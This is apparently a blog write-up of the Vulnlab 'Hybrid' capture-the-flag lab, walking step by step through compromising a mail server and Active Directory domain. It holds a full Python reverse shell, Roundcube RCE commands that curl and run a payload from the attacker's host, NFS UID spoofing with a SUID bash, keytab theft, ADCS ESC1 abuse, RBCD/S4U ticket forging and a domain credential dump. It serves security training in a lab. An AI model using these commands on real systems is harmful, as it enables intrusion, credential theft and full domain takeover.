Post

Hybrid

Easy hybrid AD chain on Vulnlab.

Hybrid

Hybrid is a two-machine hybrid environment Active Directory chain, created by xct. The attack path involves exploiting an exposed NFS share to obtain credentials, leveraging a Roundcube vulnerability for initial access, escalating privileges through NFS UID manipulation, and ultimately compromising the domain through ADCS ESC1 exploitation.

Tools


  • https://nmap.org/
  • https://github.com/fortra/impacket
  • https://github.com/Pennyw0rth/NetExec/
  • https://github.com/CravateRouge/bloodyAD
  • https://github.com/ozelis/winrmexec
  • https://github.com/SpecterOps/BloodHound
  • https://github.com/openwall/john
  • https://github.com/ly4k/Certipy
  • https://github.com/sosdave/KeyTabExtract

Recon


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
dc01.hybrid.vl / 10.10.149.245
PORT      STATE SERVICE
53/tcp    open  domain
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
9389/tcp  open  adws

mail01.hybrid.vl / 10.10.149.246
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
80/tcp    open  http
110/tcp   open  pop3
111/tcp   open  rpcbind
143/tcp   open  imap
587/tcp   open  submission
993/tcp   open  imaps
995/tcp   open  pop3s
2049/tcp  open  nfs

We can see from nmap that mail01.hybrid.vl is open on port 80 with Roundcube webmail, but without credentials there’s no way forward here. alt text

Attempts to enumerate SMB shares on the DC using null sessions and guest access both fail:

1
2
nxc smb dc01.hybrid.vl -u '' -p '' --shares
nxc smb dc01.hybrid.vl -u 'Guest' -p '' --shares

alt text

Enumerating NFS exports reveals an accessible share:

1
showmount -e mail01.hybrid.vl

alt text

The /opt/share directory is exported and can be mounted:

1
sudo mount -t nfs mail01.hybrid.vl:/opt/share share

alt text

Inside the share, we find backup.tar.gz. We copy it locally and unmount:

1
cp backup.tar.gz ..

alt text

1
umount ./share

Extracting the backup with tar reveals sensitive configuration files:

1
tar -xvf backup.tar.gz

alt text

The Dovecot configuration contains plaintext credentials for a pair of users:

1
cat etc/dovecot/dovecot-users

alt text

Both accounts successfully authenticate to the Roundcube webmail interface.

1
admin@hybrid.vl // $ADMINPASS

alt text

Foothold


A recent authenticated RCE vulnerability exists in Roundcube. While this CVE was discovered after the machine’s release, it provides an excellent exploitation path. https://github.com/hakaioffsec/CVE-2025-49113-exploit

First, start an HTTP server:

1
ip addr;sudo python -m http.server 80

Then test the exploit with a simple callback:

1
php CVE-2025-49113.php http://mail01.hybrid.vl 'admin@hybrid.vl' $ADMINPASS 'wget http://10.8.3.84/test'

alt text

The successful HTTP request confirms code execution. alt text

From here we’re going to create a Python reverse shell (shell_tcp.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import os
import socket
import sys
import pty

if os.fork() == 0:
    cb = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    cb.connect((sys.argv[1], int(sys.argv[2])))

    os.dup2(cb.fileno(), 0)
    os.dup2(cb.fileno(), 1)
    os.dup2(cb.fileno(), 2)

    pty.spawn("/bin/sh")

    cb.close()

Set up a listener to catch the reverse shell:

1
rlwrap nc -nvlp 5050

Then download and execute the shell through the exploit:

1
php CVE-2025-49113.php http://mail01.hybrid.vl 'admin@hybrid.vl' $ADMINPASS 'curl http://10.8.3.84/shell_tcp.py -o /dev/shm/tcp.py; python3 /dev/shm/tcp.py 10.8.3.84 5050'

alt text

A callback is received, establishing a foothold on MAIL01. alt text

Privesc on Mail01


Enumerating the system reveals a domain user profile in /home:

1
id peter.turner@hybrid.vl

alt text

Unfortunately we don’t have permissions to access the user’s home folder: alt text

Using the information we gathered by running id we can exploit NFS by creating a local user with a matching UID to impersonate peter.turner.

1
sudo useradd nfs_hybrid

Modify the UID for the new user in /etc/passwd to match peter.turner’s, 902601108:

1
sudo sed -i -e 's/1002/902601108/g' /etc/passwd

Before: alt text

After: alt text

On the target, copy bash to the NFS share:

1
cp /bin/bash /opt/share/

On our attack machine, mount the share and retrieve the binary: alt text

Remove it from the share on the target:

1
rm /opt/share/bash

Change ownership to our spoofed user:

1
chown nfs_hybrid:nfs_hybrid ../bash

alt text

Then we copy it back to the share and set the SUID bit, which will allow us to impersonate peter.turner.

1
chmod 4777 ../bash

alt text

We now have effective privileges as peter.turner.

1
/opt/share/bash -p

alt text

This allows us to access their home directory, and retrieve the first flag. alt text

Keepass


peter.turner has a keepass database file in their home directory. Since we have write permissions in their home folder now lets add an ssh key to be able to login as the user. alt text

alt text

alt text

This allows us to use scp to copy the database back to our machine.

1
scp -i peter peter.turner@hybrid.vl@mail01.hybrid.vl:/home/peter.turner@hybrid.vl/passwords.kdbx .

alt text

We got peter.turner’s email password from the backup, first lets check for password re-use and see if that gets us into the passwords file: alt text

It works, and we can find peter.turner’s domain password, which we can use to elevate to root on Mail01.

1
sudo su

alt text

And collect our second flag. alt text

Domain Enumeration


Using peter.turner’s domain credentials we can collect BloodHound data with bloodyAD:

1
bloodyAD --host dc01.hybrid.vl -d hybrid.vl -u peter.turner -p $PETERPASS get bloodhound

alt text

alt text

The initial analysis doesn’t reveal obvious privilege escalation paths, so we continue enumerating and check for ADCS vulnerabilities with certipy:

1
certipy find -u peter.turner@hybrid.vl -p $PETERPASS -target dc01.hybrid.vl -dns-tcp -vulnerable

alt text

alt text

Checking the output we see the HybridComputers template is vulnerable to ESC1 and allows enrollment from domain computers. Notably, it requires a 4096-bit key size.

MAIL01 is a domain-joined computer, making it an ideal candidate for exploitation. alt text

Domain PrivEsc


As root on MAIL01, we can extract the Kerberos keytab containing the machine account’s credentials. Copy and transfer it locally:

1
2
cp /etc/krb5.keytab krb5.keytab
chmod 777 ./krb5.keytab

alt text

1
scp -i peter peter.turner@hybrid.vl@mail01.hybrid.vl:/home/peter.turner@hybrid.vl/krb5.keytab .

alt text

Next we can extract credentials using KeyTabExtract, which provides the NTLM hash and AES keys for MAIL01$: https://github.com/sosdave/KeyTabExtract

1
python keytabextract.py ./krb5.keytab

alt text

ESC1 -> RBCD


Hashes in hand we can request a certificate for the Administrator using ESC1:

1
certipy req -u 'MAIL01$' -hashes :$MAILHASH -ca hybrid-DC01-CA -target dc01.hybrid.vl -template HybridComputers -upn administrator@hybrid.vl -key-size 4096

alt text

However Attempting to authenticate with the certificate fails with KDC_ERROR_CLIENT_NOT_TRUSTED.

1
certipy auth -pfx 'administrator.pfx' -dc-ip 10.10.149.245

alt text

Instead of trying to get the Administrator’s hash we can get an ldap shell:

1
certipy auth -pfx 'administrator.pfx' -dc-ip 10.10.149.245 -ldap-shell

alt text

From our ldap shell we Configure Resource-Based Constrained Delegation (RBCD) to give our controlled MAIL01$ account delegation over the DC

1
set_rbcd 'DC01$' 'MAIL01$'

alt text

Request a service ticket to access the DC as Administrator:

1
getST.py -spn 'cifs/dc01.hybrid.vl' -impersonate Administrator -dc-ip 'dc01.hybrid.vl' -hashes :$MAILHASH 'hybrid.vl'/'MAIL01$'

alt text

With the silver ticket we can use secretsdump.py to dump domain credentials:

1
secretsdump.py -k -no-pass 'hybrid.vl'/'Administrator'@dc01.hybrid.vl

alt text

ESC1 -> S4U

Alternatively instead of targeting the administrator for the ESC1 we cat request a certificate for the dc01$ machine account:

1
certipy req -u 'MAIL01$' -hashes :$MAILHASH -ca hybrid-DC01-CA -target dc01.hybrid.vl -template HybridComputers -upn 'DC01$'@hybrid.vl -key-size 4096

alt text

Authenticate to obtain the DC’s hash:

1
certipy auth -pfx 'dc01.pfx' -dc-ip 10.10.149.245

alt text

Then use S4U to create a silver ticket to access it as the Administrator, first request a TGT for the DC machine account:

1
getTGT.py -dc-ip dc01.hybrid.vl -hashes :$DCHASH 'hybrid.vl'/'dc01$'

alt text

Perform S4U2Self to impersonate Administrator:

1
getST.py -self -impersonate "Administrator" -altservice "http/dc01.hybrid.vl" -k -no-pass -dc-ip dc01.hybrid.vl 'hybrid.vl'/'dc01$'

alt text

And finally connect via WinRM, completing the chain.

1
winrmexec.py -k -no-pass 'hybrid.vl'/'Administrator'@dc01.hybrid.vl

alt text

This post is licensed under CC BY 4.0 by the author.